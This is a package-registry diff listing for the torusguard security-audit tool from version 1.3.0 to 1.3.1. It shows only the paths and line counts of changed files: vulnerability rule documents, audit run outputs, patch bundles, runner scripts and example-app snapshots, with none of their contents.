torusguard 1.3.0 → 1.3.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.torusguard/.manifest.json +112 -8
- package/.torusguard/rules/README.md +93 -62
- package/.torusguard/rules/TG-AUTH-001-weak-password-storage.md +103 -0
- package/.torusguard/rules/TG-AUTH-002-client-only-authorization.md +85 -0
- package/.torusguard/rules/TG-AUTH-003-missing-object-authorization.md +85 -0
- package/.torusguard/rules/TG-AUTH-004-insecure-session-cookie.md +96 -0
- package/.torusguard/rules/TG-AUTH-005-unsafe-password-reset.md +104 -0
- package/.torusguard/rules/TG-CLIENT-001-public-production-source-maps.md +102 -0
- package/.torusguard/rules/TG-CLIENT-002-sensitive-client-bundle-content.md +102 -0
- package/.torusguard/rules/TG-DB-001-frontend-database-query.md +83 -0
- package/.torusguard/rules/TG-DB-002-privileged-database-credential.md +86 -0
- package/.torusguard/rules/TG-DB-003-frontend-admin-sdk.md +91 -0
- package/.torusguard/rules/TG-DB-004-missing-tenant-query-isolation.md +103 -0
- package/.torusguard/rules/TG-INPUT-001-missing-server-validation.md +98 -0
- package/.torusguard/rules/TG-INPUT-002-raw-sql-concatenation.md +94 -0
- package/.torusguard/rules/TG-INPUT-003-unsafe-html-or-code-execution.md +102 -0
- package/.torusguard/rules/TG-INPUT-004-unrestricted-file-upload.md +92 -0
- package/.torusguard/rules/TG-INPUT-005-unsafe-template-rendering-and-escaping.md +102 -0
- package/.torusguard/rules/TG-INPUT-006-unsafe-file-path-traversal.md +131 -0
- package/.torusguard/rules/TG-PLATFORM-001-wildcard-cors-with-credentials.md +101 -0
- package/.torusguard/rules/TG-PLATFORM-002-missing-security-headers.md +95 -0
- package/.torusguard/rules/TG-PLATFORM-003-production-stack-trace-exposure.md +94 -0
- package/.torusguard/rules/TG-PLATFORM-004-missing-request-size-limits.md +102 -0
- package/.torusguard/rules/TG-RATE-001-unlimited-auth-endpoint.md +112 -0
- package/.torusguard/rules/TG-RATE-002-unlimited-public-write-endpoint.md +109 -0
- package/.torusguard/rules/TG-RATE-003-unbounded-resource-consumption.md +105 -0
- package/.torusguard/rules/TG-SEC-001-hardcoded-secrets.md +83 -0
- package/.torusguard/rules/TG-SEC-002-public-environment-secrets.md +83 -0
- package/.torusguard/rules/TG-SEC-003-tracked-env-file.md +79 -0
- package/.torusguard/rules/TG-SEC-004-sensitive-logging.md +83 -0
- package/.torusguard/rules/active/TG-AUTH-001-weak-password-storage.md +103 -0
- package/.torusguard/rules/active/TG-AUTH-002-client-only-authorization.md +85 -0
- package/.torusguard/rules/active/TG-AUTH-003-missing-object-authorization.md +85 -0
- package/.torusguard/rules/active/TG-AUTH-004-insecure-session-cookie.md +96 -0
- package/.torusguard/rules/active/TG-AUTH-005-unsafe-password-reset.md +104 -0
- package/.torusguard/rules/active/TG-CLIENT-001-public-production-source-maps.md +102 -0
- package/.torusguard/rules/active/TG-CLIENT-002-sensitive-client-bundle-content.md +102 -0
- package/.torusguard/rules/active/TG-DB-001-frontend-database-query.md +83 -0
- package/.torusguard/rules/active/TG-DB-002-privileged-database-credential.md +86 -0
- package/.torusguard/rules/active/TG-DB-003-frontend-admin-sdk.md +91 -0
- package/.torusguard/rules/active/TG-DB-004-missing-tenant-query-isolation.md +103 -0
- package/.torusguard/rules/active/TG-INPUT-001-missing-server-validation.md +98 -0
- package/.torusguard/rules/active/TG-INPUT-002-raw-sql-concatenation.md +94 -0
- package/.torusguard/rules/active/TG-INPUT-003-unsafe-html-or-code-execution.md +102 -0
- package/.torusguard/rules/active/TG-INPUT-004-unrestricted-file-upload.md +92 -0
- package/.torusguard/rules/active/TG-INPUT-005-unsafe-template-rendering-and-escaping.md +102 -0
- package/.torusguard/rules/active/TG-INPUT-006-unsafe-file-path-traversal.md +131 -0
- package/.torusguard/rules/active/TG-PLATFORM-001-wildcard-cors-with-credentials.md +101 -0
- package/.torusguard/rules/active/TG-PLATFORM-002-missing-security-headers.md +95 -0
- package/.torusguard/rules/active/TG-PLATFORM-003-production-stack-trace-exposure.md +94 -0
- package/.torusguard/rules/active/TG-PLATFORM-004-missing-request-size-limits.md +102 -0
- package/.torusguard/rules/active/TG-RATE-001-unlimited-auth-endpoint.md +112 -0
- package/.torusguard/rules/active/TG-RATE-002-unlimited-public-write-endpoint.md +109 -0
- package/.torusguard/rules/active/TG-RATE-003-unbounded-resource-consumption.md +105 -0
- package/.torusguard/rules/active/TG-SEC-001-hardcoded-secrets.md +83 -0
- package/.torusguard/rules/active/TG-SEC-002-public-environment-secrets.md +83 -0
- package/.torusguard/rules/active/TG-SEC-003-tracked-env-file.md +79 -0
- package/.torusguard/rules/active/TG-SEC-004-sensitive-logging.md +83 -0
- package/.torusguard/rules/agent/TG-AGENT-001-prompt-injection-system-context.md +56 -0
- package/.torusguard/rules/agent/TG-AGENT-002-unsafe-tool-dispatch-unsandboxed-execution.md +68 -0
- package/.torusguard/rules/agent/TG-AGENT-003-broad-mcp-tool-scoping.md +53 -0
- package/.torusguard/rules/agent/TG-AGENT-004-persistent-memory-cross-session-leakage.md +67 -0
- package/.torusguard/rules/authorization/TG-AUTH-006-mass-assignment.md +70 -0
- package/.torusguard/rules/authorization/TG-AUTH-007-missing-property-level-authorization.md +71 -0
- package/.torusguard/rules/authorization/TG-AUTH-008-untrusted-role-header-injection.md +112 -0
- package/.torusguard/rules/business-logic/TG-BIZ-001-client-controlled-sensitive-business-value.md +37 -0
- package/.torusguard/rules/business-logic/TG-BIZ-002-replayable-one-time-operation.md +37 -0
- package/.torusguard/rules/business-logic/TG-BIZ-003-missing-workflow-state-validation.md +37 -0
- package/.torusguard/rules/business-logic/TG-BIZ-004-unrestricted-sensitive-business-flow.md +37 -0
- package/.torusguard/rules/cache/TG-CACHE-001-sensitive-response-publicly-cacheable.md +37 -0
- package/.torusguard/rules/cache/TG-CACHE-002-missing-user-cache-isolation.md +37 -0
- package/.torusguard/rules/cache/TG-CACHE-003-sensitive-data-in-url.md +37 -0
- package/.torusguard/rules/csrf/TG-CSRF-001-missing-csrf-protection.md +37 -0
- package/.torusguard/rules/csrf/TG-CSRF-002-unsafe-credentialed-cross-origin-request.md +37 -0
- package/.torusguard/rules/edge/TG-EDGE-001-serverless-global-state-leak.md +83 -0
- package/.torusguard/rules/edge/TG-EDGE-003-aws-lambda-ephemeral-cold-start.md +76 -0
- package/.torusguard/rules/graphql/TG-GQL-001-missing-query-depth-or-complexity-limits.md +64 -0
- package/.torusguard/rules/graphql/TG-GQL-002-resolver-missing-authorization.md +37 -0
- package/.torusguard/rules/graphql/TG-GQL-003-unbounded-graphql-pagination-or-batching.md +37 -0
- package/.torusguard/rules/graphql/TG-GQL-004-unnecessary-production-introspection.md +37 -0
- package/.torusguard/rules/secrets/TG-SEC-005-secret-in-git-history.md +37 -0
- package/.torusguard/rules/secrets/TG-SEC-006-secret-in-build-artifact.md +37 -0
- package/.torusguard/rules/secrets/TG-SEC-007-secret-in-test-or-example-fixture.md +37 -0
- package/.torusguard/rules/ssrf/TG-SSRF-001-user-controlled-server-side-url-fetch.md +68 -0
- package/.torusguard/rules/ssrf/TG-SSRF-002-missing-internal-network-protection.md +37 -0
- package/.torusguard/rules/ssrf/TG-SSRF-003-unsafe-redirect-following.md +37 -0
- package/.torusguard/rules/ssrf/TG-SSRF-004-unbounded-outbound-request.md +37 -0
- package/.torusguard/rules/supply-chain/TG-SUPPLY-001-missing-or-ignored-dependency-lockfile.md +37 -0
- package/.torusguard/rules/supply-chain/TG-SUPPLY-002-vulnerable-dependency-review-missing.md +94 -0
- package/.torusguard/rules/supply-chain/TG-SUPPLY-003-unsafe-ci-cd-secret-exposure.md +37 -0
- package/.torusguard/rules/supply-chain/TG-SUPPLY-004-unpinned-ci-action.md +37 -0
- package/.torusguard/rules/supply-chain/TG-SUPPLY-005-unsafe-dependency-install-script.md +37 -0
- package/.torusguard/rules/supply-chain/TG-SUPPLY-006-container-build-secret-persistence.md +61 -0
- package/.torusguard/rules/webhook/TG-WEBHOOK-001-missing-webhook-signature-verification.md +37 -0
- package/.torusguard/rules/webhook/TG-WEBHOOK-002-replayable-webhook.md +37 -0
- package/.torusguard/rules/webhook/TG-WEBHOOK-003-missing-webhook-idempotency.md +37 -0
- package/.torusguard/rules/webhook/TG-WEBHOOK-004-unvalidated-webhook-event-type.md +37 -0
- package/.torusguard/rules/websocket/TG-WS-001-unauthenticated-websocket-handshake.md +82 -0
- package/.torusguard/rules/websocket/TG-WS-002-missing-channel-level-authorization.md +37 -0
- package/.torusguard/rules/websocket/TG-WS-003-unvalidated-websocket-message.md +37 -0
- package/.torusguard/rules/websocket/TG-WS-004-unbounded-websocket-connections.md +37 -0
- package/.torusguard/runs/report-latest.html +62 -20
- package/.torusguard/runs/run-20260908-112648-audit/findings.json +1520 -0
- package/.torusguard/runs/run-20260908-112648-audit/findings.md +560 -0
- package/.torusguard/runs/run-20260908-112648-audit/manifest.json +12 -0
- package/.torusguard/runs/run-20260908-112648-audit/summary.md +5 -0
- package/.torusguard/runs/run-20260908-112722-audit/findings.json +1520 -0
- package/.torusguard/runs/run-20260908-112722-audit/findings.md +560 -0
- package/.torusguard/runs/run-20260908-112722-audit/manifest.json +12 -0
- package/.torusguard/runs/run-20260908-112722-audit/summary.md +5 -0
- package/.torusguard/runs/run-20260908-113004-audit/findings.json +1520 -0
- package/.torusguard/runs/run-20260908-113004-audit/findings.md +560 -0
- package/.torusguard/runs/run-20260908-113004-audit/manifest.json +12 -0
- package/.torusguard/runs/run-20260908-113004-audit/summary.md +5 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-115-9a059e/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-115-9a059e/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-115-9a059e/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-119-61557c/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-119-61557c/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-119-61557c/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-265-996ca3/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-265-996ca3/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-265-996ca3/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-334-cb819d/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-334-cb819d/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-334-cb819d/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-503-d11cf8/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-503-d11cf8/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-503-d11cf8/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-79-91f41f/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-79-91f41f/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-79-91f41f/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-107-516a40/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-107-516a40/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-107-516a40/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-128-7809a1/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-128-7809a1/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-128-7809a1/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-232-1b45d1/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-232-1b45d1/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-232-1b45d1/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-003-53-d167b4/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-003-53-d167b4/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-003-53-d167b4/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-209-4f6424/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-209-4f6424/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-209-4f6424/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-257-89bf34/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-257-89bf34/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-257-89bf34/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-341-ce228c/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-341-ce228c/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-341-ce228c/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-355-7b190b/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-355-7b190b/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-355-7b190b/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-64-5af31a/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-64-5af31a/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-64-5af31a/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-9-f51467/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-9-f51467/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-9-f51467/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/findings.json +1520 -0
- package/.torusguard/runs/run-20260908-113127-audit/findings.md +560 -0
- package/.torusguard/runs/run-20260908-113127-audit/manifest.json +13 -0
- package/.torusguard/runs/run-20260908-113127-audit/remediation.md +262 -0
- package/.torusguard/runs/run-20260908-113127-audit/summary.md +5 -0
- package/.torusguard/runs/run-20260908-115240-audit/apply_plan.md +6 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-115-9a059e/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-115-9a059e/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-115-9a059e/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-119-61557c/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-119-61557c/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-119-61557c/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-265-996ca3/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-265-996ca3/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-265-996ca3/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-334-cb819d/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-334-cb819d/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-334-cb819d/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-503-d11cf8/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-503-d11cf8/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-503-d11cf8/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-79-91f41f/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-79-91f41f/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-79-91f41f/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-107-516a40/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-107-516a40/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-107-516a40/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-128-7809a1/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-128-7809a1/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-128-7809a1/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-232-1b45d1/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-232-1b45d1/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-232-1b45d1/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-003-53-d167b4/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-003-53-d167b4/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-003-53-d167b4/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-platform-001-168-5027cb/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-platform-001-168-5027cb/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-platform-001-168-5027cb/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-209-4f6424/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-209-4f6424/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-209-4f6424/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-257-89bf34/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-257-89bf34/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-257-89bf34/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-341-ce228c/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-341-ce228c/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-341-ce228c/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-355-7b190b/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-355-7b190b/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-355-7b190b/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-64-5af31a/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-64-5af31a/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-64-5af31a/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-9-f51467/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-9-f51467/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-9-f51467/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/diff_summary.md +221 -0
- package/.torusguard/runs/run-20260908-115240-audit/findings.json +1553 -0
- package/.torusguard/runs/run-20260908-115240-audit/findings.md +572 -0
- package/.torusguard/runs/run-20260908-115240-audit/manifest.json +14 -0
- package/.torusguard/runs/run-20260908-115240-audit/recheck.md +91 -0
- package/.torusguard/runs/run-20260908-115240-audit/remediation.md +278 -0
- package/.torusguard/runs/run-20260908-115240-audit/summary.md +5 -0
- package/.torusguard/scripts/__pycache__/audit_runner.cpython-311.pyc +0 -0
- package/.torusguard/scripts/__pycache__/finding_scorer.cpython-311.pyc +0 -0
- package/.torusguard/scripts/__pycache__/memory_engine.cpython-311.pyc +0 -0
- package/.torusguard/scripts/__pycache__/monorepo_detector.cpython-311.pyc +0 -0
- package/.torusguard/scripts/__pycache__/run_manager.cpython-311.pyc +0 -0
- package/.torusguard/scripts/__pycache__/stack_detect.cpython-311.pyc +0 -0
- package/.torusguard/scripts/apply_runner.py +332 -0
- package/.torusguard/scripts/audit_runner.py +550 -0
- package/.torusguard/scripts/diff_guard.py +52 -4
- package/.torusguard/scripts/finding_scorer.py +58 -0
- package/.torusguard/scripts/harden_runner.py +353 -0
- package/.torusguard/scripts/html_reporter.py +25 -10
- package/.torusguard/scripts/manifest_builder.py +2 -0
- package/.torusguard/scripts/memory_engine.py +4 -0
- package/.torusguard/scripts/recheck_runner.py +221 -0
- package/.torusguard/scripts/recipes_runner.py +130 -0
- package/.torusguard/scripts/run_manager.py +17 -5
- package/.torusguard/skills/torusguard/SKILL.md +42 -42
- package/.torusguard/snapshots/run-20260908-115240-audit/examples/vulnerable-react-express/client/src/App.jsx.bak +63 -0
- package/.torusguard/snapshots/run-20260908-115240-audit/examples/vulnerable-react-express/server/index.js.bak +82 -0
- package/.torusguard/snapshots/run-20260908-115240-audit/harness/engine/fixture_manager.py.bak +245 -0
- package/.torusguard/snapshots/run-20260908-115240-audit/harness/master_validation.py.bak +698 -0
- package/.torusguard/snapshots/run-20260908-115240-audit/harness/runner.py.bak +551 -0
- package/.torusguard/snapshots/run-20260908-115240-audit/harness/validate_e2e.py.bak +498 -0
- package/.torusguard/snapshots/run-20260908-115240-audit/harness/validate_qa_v0_6_0.py.bak +572 -0
- package/.torusguard/snapshots/run-20260908-115240-audit/harness/validate_v0_6_1_scale.py.bak +371 -0
- package/.torusguard/snapshots/run-20260908-115240-audit/harness/validate_v0_6_2_modern_stacks.py.bak +462 -0
- package/.torusguard/snapshots/run-20260908-115240-audit/harness/validate_v0_6_3_hardening.py.bak +444 -0
- package/.torusguard/snapshots/run-20260908-115240-audit/harness/validate_v1_0_0_memory.py.bak +302 -0
- package/.torusguard/snapshots/run-20260908-115240-audit/harness/validate_v1_1_0_advanced_memory.py.bak +342 -0
- package/.torusguard/snapshots/run-20260908-115240-audit/skills/torusguard/payload/scripts/harden_runner.py.bak +353 -0
- package/.torusguard/snapshots/run-20260908-115240-audit/tests/test_v0_6_0_governed_remediation.py.bak +353 -0
- package/README.md +70 -33
- package/bin/torusguard.js +89 -19
- package/package.json +1 -1
- package/skills/torusguard/SKILL.md +42 -42
- package/skills/torusguard/bootstrap.py +147 -68
- package/skills/torusguard/payload/.manifest.json +113 -9
- package/skills/torusguard/payload/rules/README.md +93 -62
- package/skills/torusguard/payload/rules/TG-AUTH-001-weak-password-storage.md +103 -0
- package/skills/torusguard/payload/rules/TG-AUTH-002-client-only-authorization.md +85 -0
- package/skills/torusguard/payload/rules/TG-AUTH-003-missing-object-authorization.md +85 -0
- package/skills/torusguard/payload/rules/TG-AUTH-004-insecure-session-cookie.md +96 -0
- package/skills/torusguard/payload/rules/TG-AUTH-005-unsafe-password-reset.md +104 -0
- package/skills/torusguard/payload/rules/TG-CLIENT-001-public-production-source-maps.md +102 -0
- package/skills/torusguard/payload/rules/TG-CLIENT-002-sensitive-client-bundle-content.md +102 -0
- package/skills/torusguard/payload/rules/TG-DB-001-frontend-database-query.md +83 -0
- package/skills/torusguard/payload/rules/TG-DB-002-privileged-database-credential.md +86 -0
- package/skills/torusguard/payload/rules/TG-DB-003-frontend-admin-sdk.md +91 -0
- package/skills/torusguard/payload/rules/TG-DB-004-missing-tenant-query-isolation.md +103 -0
- package/skills/torusguard/payload/rules/TG-INPUT-001-missing-server-validation.md +98 -0
- package/skills/torusguard/payload/rules/TG-INPUT-002-raw-sql-concatenation.md +94 -0
- package/skills/torusguard/payload/rules/TG-INPUT-003-unsafe-html-or-code-execution.md +102 -0
- package/skills/torusguard/payload/rules/TG-INPUT-004-unrestricted-file-upload.md +92 -0
- package/skills/torusguard/payload/rules/TG-INPUT-005-unsafe-template-rendering-and-escaping.md +102 -0
- package/skills/torusguard/payload/rules/TG-INPUT-006-unsafe-file-path-traversal.md +131 -0
- package/skills/torusguard/payload/rules/TG-PLATFORM-001-wildcard-cors-with-credentials.md +101 -0
- package/skills/torusguard/payload/rules/TG-PLATFORM-002-missing-security-headers.md +95 -0
- package/skills/torusguard/payload/rules/TG-PLATFORM-003-production-stack-trace-exposure.md +94 -0
- package/skills/torusguard/payload/rules/TG-PLATFORM-004-missing-request-size-limits.md +102 -0
- package/skills/torusguard/payload/rules/TG-RATE-001-unlimited-auth-endpoint.md +112 -0
- package/skills/torusguard/payload/rules/TG-RATE-002-unlimited-public-write-endpoint.md +109 -0
- package/skills/torusguard/payload/rules/TG-RATE-003-unbounded-resource-consumption.md +105 -0
- package/skills/torusguard/payload/rules/TG-SEC-001-hardcoded-secrets.md +83 -0
- package/skills/torusguard/payload/rules/TG-SEC-002-public-environment-secrets.md +83 -0
- package/skills/torusguard/payload/rules/TG-SEC-003-tracked-env-file.md +79 -0
- package/skills/torusguard/payload/rules/TG-SEC-004-sensitive-logging.md +83 -0
- package/skills/torusguard/payload/rules/active/TG-AUTH-001-weak-password-storage.md +103 -0
- package/skills/torusguard/payload/rules/active/TG-AUTH-002-client-only-authorization.md +85 -0
- package/skills/torusguard/payload/rules/active/TG-AUTH-003-missing-object-authorization.md +85 -0
- package/skills/torusguard/payload/rules/active/TG-AUTH-004-insecure-session-cookie.md +96 -0
- package/skills/torusguard/payload/rules/active/TG-AUTH-005-unsafe-password-reset.md +104 -0
- package/skills/torusguard/payload/rules/active/TG-CLIENT-001-public-production-source-maps.md +102 -0
- package/skills/torusguard/payload/rules/active/TG-CLIENT-002-sensitive-client-bundle-content.md +102 -0
- package/skills/torusguard/payload/rules/active/TG-DB-001-frontend-database-query.md +83 -0
- package/skills/torusguard/payload/rules/active/TG-DB-002-privileged-database-credential.md +86 -0
- package/skills/torusguard/payload/rules/active/TG-DB-003-frontend-admin-sdk.md +91 -0
- package/skills/torusguard/payload/rules/active/TG-DB-004-missing-tenant-query-isolation.md +103 -0
- package/skills/torusguard/payload/rules/active/TG-INPUT-001-missing-server-validation.md +98 -0
- package/skills/torusguard/payload/rules/active/TG-INPUT-002-raw-sql-concatenation.md +94 -0
- package/skills/torusguard/payload/rules/active/TG-INPUT-003-unsafe-html-or-code-execution.md +102 -0
- package/skills/torusguard/payload/rules/active/TG-INPUT-004-unrestricted-file-upload.md +92 -0
- package/skills/torusguard/payload/rules/active/TG-INPUT-005-unsafe-template-rendering-and-escaping.md +102 -0
- package/skills/torusguard/payload/rules/active/TG-INPUT-006-unsafe-file-path-traversal.md +131 -0
- package/skills/torusguard/payload/rules/active/TG-PLATFORM-001-wildcard-cors-with-credentials.md +101 -0
- package/skills/torusguard/payload/rules/active/TG-PLATFORM-002-missing-security-headers.md +95 -0
- package/skills/torusguard/payload/rules/active/TG-PLATFORM-003-production-stack-trace-exposure.md +94 -0
- package/skills/torusguard/payload/rules/active/TG-PLATFORM-004-missing-request-size-limits.md +102 -0
- package/skills/torusguard/payload/rules/active/TG-RATE-001-unlimited-auth-endpoint.md +112 -0
- package/skills/torusguard/payload/rules/active/TG-RATE-002-unlimited-public-write-endpoint.md +109 -0
- package/skills/torusguard/payload/rules/active/TG-RATE-003-unbounded-resource-consumption.md +105 -0
